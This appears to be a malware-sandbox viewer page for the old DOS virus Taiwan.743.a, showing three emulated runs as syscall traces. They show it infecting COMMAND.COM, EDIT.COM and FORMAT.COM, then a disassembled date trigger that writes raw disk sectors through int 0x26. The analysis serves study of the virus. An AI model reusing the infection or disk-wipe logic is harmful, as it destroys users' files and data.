Sample viewer

vx.netlux.org/Virus.DOS.Taiwan.743.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:49:15.696322616Z 25 PC: 12b1e | Get default drive
2018-12-17T22:49:15.697675879Z 71 PC: 12b2d | Get current directory
2018-12-17T22:49:15.701632646Z 14 PC: 12b48 | Set default drive (Drive = 'C')
2018-12-17T22:49:15.707732795Z 59 PC: 12b4f | Change current directory
2018-12-17T22:49:15.712416093Z 78 PC: 12b59 | Find first file
2018-12-17T22:49:15.719682885Z 67 PC: 12b82 | Get or set file attributes
2018-12-17T22:49:16.071240732Z 61 PC: 12b8b | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:49:16.078662688Z 63 PC: 12b97 | Read file or device (Read 743 bytes on handle 5)
2018-12-17T22:49:16.087871553Z 66 PC: 12ba3 | Move file pointer
2018-12-17T22:49:16.089746311Z 64 PC: 12bad | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.097806485Z 66 PC: 12bb9 | Move file pointer
2018-12-17T22:49:16.10133772Z 64 PC: 12bc3 | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.112620124Z 87 PC: 12bd4 | Get or set file date and time
2018-12-17T22:49:16.114906126Z 67 PC: 12be1 | Get or set file attributes
2018-12-17T22:49:16.120270727Z 62 PC: 12be5 | Close file
2018-12-17T22:49:16.129672389Z 79 PC: 12bf4 | Find next file
2018-12-17T22:49:16.132635601Z 78 PC: 12c03 | Find first file
2018-12-17T22:49:16.138598767Z 59 PC: 12c1b | Change current directory
2018-12-17T22:49:16.145824228Z 78 PC: 12b59 | Find first file
2018-12-17T22:49:16.156328987Z 67 PC: 12b82 | Get or set file attributes
2018-12-17T22:49:16.166833832Z 61 PC: 12b8b | Open file (Filename = 'EDIT.COM')
2018-12-17T22:49:16.175331848Z 63 PC: 12b97 | Read file or device (Read 743 bytes on handle 5)
2018-12-17T22:49:16.181776118Z 66 PC: 12ba3 | Move file pointer
2018-12-17T22:49:16.18332523Z 64 PC: 12bad | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.191327811Z 66 PC: 12bb9 | Move file pointer
2018-12-17T22:49:16.193695189Z 64 PC: 12bc3 | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.201048221Z 87 PC: 12bd4 | Get or set file date and time
2018-12-17T22:49:16.20388954Z 67 PC: 12be1 | Get or set file attributes
2018-12-17T22:49:16.209100581Z 62 PC: 12be5 | Close file
2018-12-17T22:49:16.216609987Z 79 PC: 12bf4 | Find next file
2018-12-17T22:49:16.221336169Z 67 PC: 12b82 | Get or set file attributes
2018-12-17T22:49:16.232222458Z 61 PC: 12b8b | Open file (Filename = 'FORMAT.COM')
2018-12-17T22:49:16.239982575Z 63 PC: 12b97 | Read file or device (Read 743 bytes on handle 5)
2018-12-17T22:49:16.247271807Z 66 PC: 12ba3 | Move file pointer
2018-12-17T22:49:16.249878219Z 64 PC: 12bad | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.257830783Z 66 PC: 12bb9 | Move file pointer
2018-12-17T22:49:16.259380866Z 64 PC: 12bc3 | Write file or device (Write 743 bytes on handle 5)
2018-12-17T22:49:16.268606362Z 87 PC: 12bd4 | Get or set file date and time
2018-12-17T22:49:16.271030807Z 67 PC: 12be1 | Get or set file attributes
2018-12-17T22:49:16.275797743Z 62 PC: 12be5 | Close file
2018-12-17T22:49:16.284029767Z 42 PC: 12c62 | Get date 0x12c62: cmp dl, 8
0x12c65: jne 0x12c92
0x12c67: mov byte ptr [0x148], 1
0x12c6c: mov al, byte ptr [0x143]
0x12c6f: mov cx, 0xa0
0x12c72: mov dx, 0
0x12c75: mov bx, 0
0x12c78: int 0x26
0x12c7a: popf
0x12c7b: cmp byte ptr [0x142], 2
0x12c80: jne 0x12ca1
0x12c82: mov al, 3
0x12c84: mov cx, 0xa0
0x12c87: mov dx, 0
0x12c8a: mov bx, 0
0x12c8d: int 0x26
0x12c8f: popf
0x12c90: jmp 0x12ca1
0x12c92: mov ah, 0xe
0x12c94: mov dl, byte ptr [0x114]
2018-12-17T22:49:16.287495263Z 14 PC: 12c9a | Set default drive (Drive = 'A')
2018-12-17T22:49:16.2891531Z 59 PC: 12ca1 | Change current directory
2018-12-17T22:49:16.296157348Z 9 PC: 12d2e | Display string (Could not find end pointer)

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9832,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:52.65161829Z 25 PC: 12b1e | Get default drive
2018-12-25T12:23:52.653489779Z 71 PC: 12b2d | Get current directory
2018-12-25T12:23:52.656863417Z 14 PC: 12b48 | Set default drive (Drive = 'C')
2018-12-25T12:23:52.658685429Z 59 PC: 12b4f | Change current directory
2018-12-25T12:23:52.664004788Z 78 PC: 12b59 | Find first file
2018-12-25T12:23:52.671071444Z 67 PC: 12b82 | Get or set file attributes
2018-12-25T12:23:53.012953465Z 61 PC: 12b8b | Open file (Filename = 'COMMAND.COM')
2018-12-25T12:23:53.020373508Z 63 PC: 12b97 | Read file or device (Read 743 bytes on handle 5)
2018-12-25T12:23:53.027689478Z 66 PC: 12ba3 | Move file pointer
2018-12-25T12:23:53.028979509Z 64 PC: 12bad | Write file or device (Write 743 bytes on handle 5)
2018-12-25T12:23:53.037062847Z 66 PC: 12bb9 | Move file pointer
2018-12-25T12:23:53.039551111Z 64 PC: 12bc3 | Write file or device (Write 743 bytes on handle 5)
2018-12-25T12:23:53.050065259Z 87 PC: 12bd4 | Get or set file date and time
2018-12-25T12:23:53.051834361Z 67 PC: 12be1 | Get or set file attributes
2018-12-25T12:23:53.058067257Z 62 PC: 12be5 | Close file
2018-12-25T12:23:53.067004461Z 79 PC: 12bf4 | Find next file
2018-12-25T12:23:53.069673608Z 78 PC: 12c03 | Find first file
2018-12-25T12:23:53.075896975Z 59 PC: 12c1b | Change current directory
2018-12-25T12:23:53.082925334Z 78 PC: 12b59 | Find first file (See above)
2018-12-25T12:23:53.092427388Z 67 PC: 12b82 | Get or set file attributes (See above)
2018-12-25T12:23:53.102555279Z 61 PC: 12b8b | Open file (See above)
2018-12-25T12:23:53.111471026Z 63 PC: 12b97 | Read file or device (See above)
2018-12-25T12:23:53.118110794Z 66 PC: 12ba3 | Move file pointer (See above)
2018-12-25T12:23:53.120134062Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:23:53.129281961Z 66 PC: 12bb9 | Move file pointer (See above)
2018-12-25T12:23:53.130902659Z 64 PC: 12bc3 | Write file or device (See above)
2018-12-25T12:23:53.138628447Z 87 PC: 12bd4 | Get or set file date and time (See above)
2018-12-25T12:23:53.141658984Z 67 PC: 12be1 | Get or set file attributes (See above)
2018-12-25T12:23:53.146450188Z 62 PC: 12be5 | Close file (See above)
2018-12-25T12:23:53.153896938Z 79 PC: 12bf4 | Find next file (See above)
2018-12-25T12:23:53.158523278Z 67 PC: 12b82 | Get or set file attributes (See above)
2018-12-25T12:23:53.169160975Z 61 PC: 12b8b | Open file (See above)
2018-12-25T12:23:53.17707651Z 63 PC: 12b97 | Read file or device (See above)
2018-12-25T12:23:53.185543107Z 66 PC: 12ba3 | Move file pointer (See above)
2018-12-25T12:23:53.187273506Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:23:53.196122518Z 66 PC: 12bb9 | Move file pointer (See above)
2018-12-25T12:23:53.197703237Z 64 PC: 12bc3 | Write file or device (See above)
2018-12-25T12:23:53.207252781Z 87 PC: 12bd4 | Get or set file date and time (See above)
2018-12-25T12:23:53.209316389Z 67 PC: 12be1 | Get or set file attributes (See above)
2018-12-25T12:23:53.214477911Z 62 PC: 12be5 | Close file (See above)
2018-12-25T12:23:53.224396944Z 42 PC: 12c62 | Get date 0x12c62: cmp dl, 8
0x12c65: jne 0x12c92
0x12c67: mov byte ptr [0x148], 1
0x12c6c: mov al, byte ptr [0x143]
0x12c6f: mov cx, 0xa0
0x12c72: mov dx, 0
0x12c75: mov bx, 0
0x12c78: int 0x26
0x12c7a: popf
0x12c7b: cmp byte ptr [0x142], 2
0x12c80: jne 0x12ca1
0x12c82: mov al, 3
0x12c84: mov cx, 0xa0
0x12c87: mov dx, 0
0x12c8a: mov bx, 0
0x12c8d: int 0x26
0x12c8f: popf
0x12c90: jmp 0x12ca1
0x12c92: mov ah, 0xe
0x12c94: mov dl, byte ptr [0x114]
2018-12-25T12:23:53.22685029Z 14 PC: 12c9a | Set default drive (Drive = 'A')
2018-12-25T12:23:53.228254934Z 59 PC: 12ca1 | Change current directory
2018-12-25T12:23:53.236156112Z 9 PC: 12d2e | Display string (Could not find end pointer)

{"DateBased":true,"Day":8,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9832,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:53.001195603Z 25 PC: 12b1e | Get default drive
2018-12-25T12:23:53.002864883Z 71 PC: 12b2d | Get current directory
2018-12-25T12:23:53.006261663Z 14 PC: 12b48 | Set default drive (Drive = 'C')
2018-12-25T12:23:53.007908077Z 59 PC: 12b4f | Change current directory
2018-12-25T12:23:53.012071707Z 78 PC: 12b59 | Find first file
2018-12-25T12:23:53.018305334Z 67 PC: 12b82 | Get or set file attributes
2018-12-25T12:23:53.346295138Z 61 PC: 12b8b | Open file (Filename = 'COMMAND.COM')
2018-12-25T12:23:53.352897747Z 63 PC: 12b97 | Read file or device (Read 743 bytes on handle 5)
2018-12-25T12:23:53.360816723Z 66 PC: 12ba3 | Move file pointer
2018-12-25T12:23:53.362210799Z 64 PC: 12bad | Write file or device (Write 743 bytes on handle 5)
2018-12-25T12:23:53.368538943Z 66 PC: 12bb9 | Move file pointer
2018-12-25T12:23:53.3704393Z 64 PC: 12bc3 | Write file or device (Write 743 bytes on handle 5)
2018-12-25T12:23:53.379881163Z 87 PC: 12bd4 | Get or set file date and time
2018-12-25T12:23:53.38143988Z 67 PC: 12be1 | Get or set file attributes
2018-12-25T12:23:53.386346183Z 62 PC: 12be5 | Close file
2018-12-25T12:23:53.393557734Z 79 PC: 12bf4 | Find next file
2018-12-25T12:23:53.396171464Z 78 PC: 12c03 | Find first file
2018-12-25T12:23:53.401929092Z 59 PC: 12c1b | Change current directory
2018-12-25T12:23:53.407840034Z 78 PC: 12b59 | Find first file (See above)
2018-12-25T12:23:53.416634654Z 67 PC: 12b82 | Get or set file attributes (See above)
2018-12-25T12:23:53.427375902Z 61 PC: 12b8b | Open file (See above)
2018-12-25T12:23:53.434138016Z 63 PC: 12b97 | Read file or device (See above)
2018-12-25T12:23:53.439832527Z 66 PC: 12ba3 | Move file pointer (See above)
2018-12-25T12:23:53.44238951Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:23:53.449587699Z 66 PC: 12bb9 | Move file pointer (See above)
2018-12-25T12:23:53.451036845Z 64 PC: 12bc3 | Write file or device (See above)
2018-12-25T12:23:53.45920665Z 87 PC: 12bd4 | Get or set file date and time (See above)
2018-12-25T12:23:53.461060355Z 67 PC: 12be1 | Get or set file attributes (See above)
2018-12-25T12:23:53.465592446Z 62 PC: 12be5 | Close file (See above)
2018-12-25T12:23:53.472691458Z 79 PC: 12bf4 | Find next file (See above)
2018-12-25T12:23:53.476362897Z 67 PC: 12b82 | Get or set file attributes (See above)
2018-12-25T12:23:53.486944555Z 61 PC: 12b8b | Open file (See above)
2018-12-25T12:23:53.494465698Z 63 PC: 12b97 | Read file or device (See above)
2018-12-25T12:23:53.5013218Z 66 PC: 12ba3 | Move file pointer (See above)
2018-12-25T12:23:53.503234947Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:23:53.51057432Z 66 PC: 12bb9 | Move file pointer (See above)
2018-12-25T12:23:53.512342634Z 64 PC: 12bc3 | Write file or device (See above)
2018-12-25T12:23:53.519916301Z 87 PC: 12bd4 | Get or set file date and time (See above)
2018-12-25T12:23:53.52135508Z 67 PC: 12be1 | Get or set file attributes (See above)
2018-12-25T12:23:53.525931549Z 62 PC: 12be5 | Close file (See above)
2018-12-25T12:23:53.532576017Z 42 PC: 12c62 | Get date 0x12c62: cmp dl, 8
0x12c65: jne 0x12c92
0x12c67: mov byte ptr [0x148], 1
0x12c6c: mov al, byte ptr [0x143]
0x12c6f: mov cx, 0xa0
0x12c72: mov dx, 0
0x12c75: mov bx, 0
0x12c78: int 0x26
0x12c7a: popf
0x12c7b: cmp byte ptr [0x142], 2
0x12c80: jne 0x12ca1
0x12c82: mov al, 3
0x12c84: mov cx, 0xa0
0x12c87: mov dx, 0
0x12c8a: mov bx, 0
0x12c8d: int 0x26
0x12c8f: popf
0x12c90: jmp 0x12ca1
0x12c92: mov ah, 0xe
0x12c94: mov dl, byte ptr [0x114]
2018-12-25T12:23:53.535372333Z 9 PC: 12cea | Display string (String= 'Greetings from National Central University ! ')
2018-12-25T12:23:53.541367606Z 9 PC: 12cf1 | Display string (String= 'Is today sunny ? ')
2018-12-25T12:23:53.545580589Z 7 PC: 12cf5 | Direct console input without echo